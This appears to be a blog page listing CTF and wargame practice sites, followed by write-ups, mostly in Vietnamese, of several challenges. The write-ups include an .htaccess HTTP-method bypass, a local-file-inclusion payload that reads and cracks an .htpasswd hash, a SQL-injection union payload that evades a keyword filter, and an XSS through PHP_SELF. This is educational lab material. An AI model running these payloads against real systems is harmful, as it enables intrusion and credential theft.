Practice CTF List / Permanant CTF List

Here’s a list of some CTF practice sites and tools or CTFs that are long-running. Thanks, RSnake for starting the original that this is based on. If you have any corrections or suggestions, feel free to email ctf at the domain psifertex with a dot com tld.
LIVE ONLINE GAMES
Recommended
Whether they’re being updated, contain high quality challenges, or just have a lot of depth, these are probably where you want to spend the most time.

http://hax.tor.hu/
https://pwn0.com/
http://www.smashthestack.org/
http://www.hellboundhackers.org/
http://www.overthewire.org/wargames/
http://counterhack.net/Counter_Hack/Challenges.html
http://www.hackthissite.org/
http://exploit-exercises.com/
http://vulnhub.com/

Others

http://damo.clanteam.com/
http://p6drad-teel.net/~windo/wargame/
http://roothack.org/
http://bright-shadows.net/
http://www.mod-x.co.uk/main.php
http://scanme.nmap.org/
http://www.hackertest.net/
http://net-force.nl/
http://securityoverride.org/ Some good concepts, but “canned” vulnerabilities (string matching on input) will frustrate knowledgable hackers and teach newbies the wrong lessons

Meta

http://www.wechall.net/sites.php (excellent list of challenge sites)
http://ctf.forgottensec.com/wiki/ (good CTF wiki, though focused on CCDC)
http://repo.shell-storm.org/CTF/ (great archive of recent CTFs)

Webapp Specific

http://demo.testfire.net/
http://wocares.com/xsstester.php
http://crackme.cenzic.com/
http://test.acunetix.com/
http://zero.webappsecurity.com/
http://ha.ckers.org/challenge/
http://ha.ckers.org/challenge2/

Forensics Specific

http://computer-forensics.sans.org/community/challenges
http://www.dc3.mil/challenge/
http://forensicscontest.com/

Recruiting

http://rtncyberjobs.com/
http://0x41414141.com/

Paid Training

http://heorot.net/

DOWNLOADABLE OFFLINE GAMES

http://www.badstore.net/
http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
http://www.owasp.org/index.php/Owasp_SiteGenerator
Damn Vulnerable Web App
Stanford SecureBench
Stanford SecureBench Micro
Damn Vulnerable Linux (not currently live? local mirror)
http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

Inactive or Gone
Just around for historical sake, or on the off-chance they come back.

http://rootcontest.com/
http://intruded.net/
https://how2hack.net
WebMaven (Buggy Bank)
http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm
http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm
http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm
http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm
http://hackme.ntobjectives.com/
http://testphp.acunetix.com/
http://testasp.acunetix.com/Default.asp
http://prequals.nuitduhack.com
http://www.gat3way.eu/index.php (Russian)

[Wechall] Limited Access 1+2

Ở bài thứ nhất, file .htaccess của bài như thế này:

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic
<Limit GET>
require valid-user
</Limit>

Để ý thấy chỉ giới hạn phương thức GET, do đó ta request đến trang protected.php bằng phương thức POST là xong.

Ở bài thứ hai, file .htaccess đã giới hạn thêm cả phương thức POST và một số phương thức phổ biến khác:

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Too Challenge"
AuthType Basic
<Limit GET POST HEAD PUT DELETE CONNECT OPTIONS>
require valid-user
</Limit>

Nhớ rằng HTTP hỗ trợ các phương thức sau: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, LOCK, UNLOCK, TRACE.

Do đó ta truy cập file protected.php bằng phương thức PROPFIND là OK 🙂

 

Crack the Code

We have crackthecode.py script and goal is get the code that is the key to decrypt message.

Easy solution is brute force the key :))

Code:

import hashlib
import sys

def validatecode(code):	
	sha1 = hashlib.sha1()
	sha1.update(code)
	
	sha224 = hashlib.sha224()
	sha224.update(code)
	
	sha256 = hashlib.sha256()
	sha256.update(code)
	
	sha384 = hashlib.sha384()
	sha384.update(code)
	
	if sha1.hexdigest()[0:2] == 'a6' and sha224.hexdigest()[0:2] == '7b' and sha256.hexdigest()[0:2] == '57' and sha384.hexdigest()[0:2] == 'db':
		return True
	else:
		return False
		
arr  = '0123456789'
code = ''
for i1 in arr:
	for i2 in arr:
		for i3 in arr:
			for i4 in arr:
				for i5 in arr:
					for i6 in arr:
						for i7 in arr:
							code = i1 + i2 + i3 + i4 + i5 + i6 + i7
							if validatecode(code) == True:
								print 'code: ' + code
								sys.exit()

After about 5s, script return the code is: 3495745

Then, run crackthecode.py with this code:

# python crackthecode.py -p 3495745

result:

Capture

Key: 44859c3554ee157264297d62d8aeef64685c57549051836001e14b8821ab6a0f

Security Challenge 1

Links: damo.clanteam.com/sch1/index.php

Click vào home thấy URL là:

http://damo.clanteam.com/sch1/index.php?page=main

Dự đoán trang bị lỗi file inclusion, thử với payload để lấy file .htaccess:

http://damo.clanteam.com/sch1/index.php?page=admin/.htaccess%00

Kết quả được là:

AuthType Basic AuthName “Restricted Access!” AuthUserFile /www/clanteam.com/d/a/m/damo/htdocs/hiddenfoldersch1/.htpasswd Require user damo

Bây giờ cần đọc file .htpasswd, ta dùng payload:

http://damo.clanteam.com/sch1/index.php?page=../hiddenfoldersch1/.htpasswd%00

Kết quả là:

damo:$apr1$a1ce30f9$gPGHBAYaHDGK7asUC6DdN/

Ta đã có password đã mã hóa của user damo, bây giờ cần giải mã nó. Tôi sẽ dùng công cụ John the Ripper với wordlist là rockyou.txt

john --wordlist=rockyou.txt passwd.txt

Được mật khẩu là: explosion

Bây giờ nhập damo:explosion để xác thực truy cập vào folder admin, ta được key là:

solution

 

Thanks damo for this challenge!

Table Name II

Source code:

<?php
$secret = require('secret.php');
chdir('../../../');
define('GWF_PAGE_TITLE', 'Table Names II');
require_once('challenge/html_head.php');require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');
 
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);}
$chall->showHeader();
$chall->onCheckSolution();
 
if (false !== Common::getGet('login')){
        $username = Common::getGetString('username', '');
        $password = Common::getGetString('password', '');
        
        if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))        {
                echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
        }
        else
        {                if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                {
                        die('Database error.');
                }
                 $db->setVerbose(false);
                $db->setLogging(false);
                $db->setEMailOnError(false);
                
                                $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                if (false === ($result = ($db->queryFirst($query, false))))
                {
                        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                }                else
                {
                        echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
                }
        }}
 
?>
<div class="box box_c">
<form action="challenge.php" method="get"><div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
</form>
</div><?php
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');

Do đã lọc hầu hết các từ khóa nên ta dùng payload:

' union select 1,2,info from information_schema.processlist-- -

Kết quả:

Welcome back 1

Your personal welcome message is: SELECT * FROM nurfedtables37.userbobbytable7 WHERE username='' union select 1,2,info from information_schema.processlist -- -' AND password=''

This ensures you are not on a fake evil phising site.

Submit: nurfedtables37_userbobbytable7

[securityoverride.org] Basic Mission 15

Đây là challenge tốn không ít thời gian khám phá và search google cũng như forum bàn luận của trang này mà tôi mới làm được nó. Nó không sử dụng các kĩ thuật mà tôi đã biết trước đó nên khi làm xong cảm thấy bổ ích hơn các challenge khác (cả bài 14 nữa).

Quyết định viết “writeup” để hiểu chi tiết về nó một chút.

Khi bắt đầu thì nó cho cái form submit thế này:

pic1

Mục tiêu đề ra là phải tạo được một cái messagebox với nội dung là xss.

Cũng như bao challenge khác, tôi cặm cụi tìm cách bypass filter:

Đầu tiên chắc chắn là phải thử cái này:

<script>alert(‘xss’);</script>

Thử cho vui chứ chắc chắn là không được rồi vì các dấu < > đã được html encode.

Xong rồi thử hết các kiểu thông thường mà tôi nghĩ là có thể được như:

base64 encode:

PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+

hex encode:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3b%3c%2f%73%63%72%69%70%74%3e

String.fromCharCode:

alert(String.fromCharCode(88, 83, 83))

Rồi thử tùm lum các kiểu nhưng thử hoài mà không được nên tôi phải dừng lại và suy nghĩ.

Nghĩ không ra mới vào forum xem họ bàn luận thế nào. Các pro đã giải challenge này có hint là phải xác định được chỗ bị lỗi rồi mới khai thác.

Tức là có khả năng tôi đã xác định sai entry point để tấn công, mà đúng là sai thật!!!

View source và thấy cái comment này:

<div style='color: #fff;'>Note: Sorry to all the legitimate bbcode users,
but previously, some jerk exploited them, and so I had to remove bbcodes all together
my <!--php_-->self... So no more bbcodes. :(</div><br />
<form action='/challenges/basic/15/index.php' method='post'>
<textarea name='comment' cols='70' rows='7' class='textbox' style='width:98%;'></textarea>
<br />
<input type='submit' value='Post Comment' />
</form>

Chú ý cái chỗ:

<!–php_–>self…

cái chỗ này nó chả phải là ngẫu nhiên rồi :((

Search Google về PHP_SELF rồi đọc một hồi, tôi hiểu ra vấn đề ở chỗ cái form submit.

Cái chỗ:

action=’challenges/basic/15/index.php

nó không phải là fix cứng mà coder đã set nó bằng cái này:

action= $SERVER[‘PHP_SELF’]

Cái biến này cụ thể nó là như sau:

Nếu như file php của mình mà đặt tại địa chỉ:

http://www.yourserver.com/form-action.php

thì PHP_SELF sẽ có giá trị là:

“/form-action.php”

Nếu file php đặt tại vị trí:

http://www.yourserver.com/dir1/form-action.php

thì PHP_SELF lúc này nó sẽ có giá trị:

“/dir1/form-action.php”

Sau khi hiểu về cái PHP_SELF này thì áp dụng vào bài của mình:

PHP file đang đặt tại:

http://securityoverride.org/challenges/basic/15/index.php

và cái thằng action của form nó có giá trị:

‘/challenges/basic/15/index.php’

=> chuẩn cmnr. Nó đã dùng PHP_SELF ở cái chỗ này.

Bây giờ không submit ở form nữa mà phải ở URL:

http://securityoverride.org/challenges/basic/15/index.php/'><script>alert('xss');</script>

và nó đã hiện lên cái messagebox:

pic2

Form của chúng ta bây giờ nó đã trở thành:

<form action=’/challenges/basic/15/index.php/’><script>alert(‘xss’);</script>’ method=’post’>

Chốt lại bài này sau khi làm xong biết thêm 1 entry point khi khai thác XSS, nó chính là thuộc tính action của form

Thanks!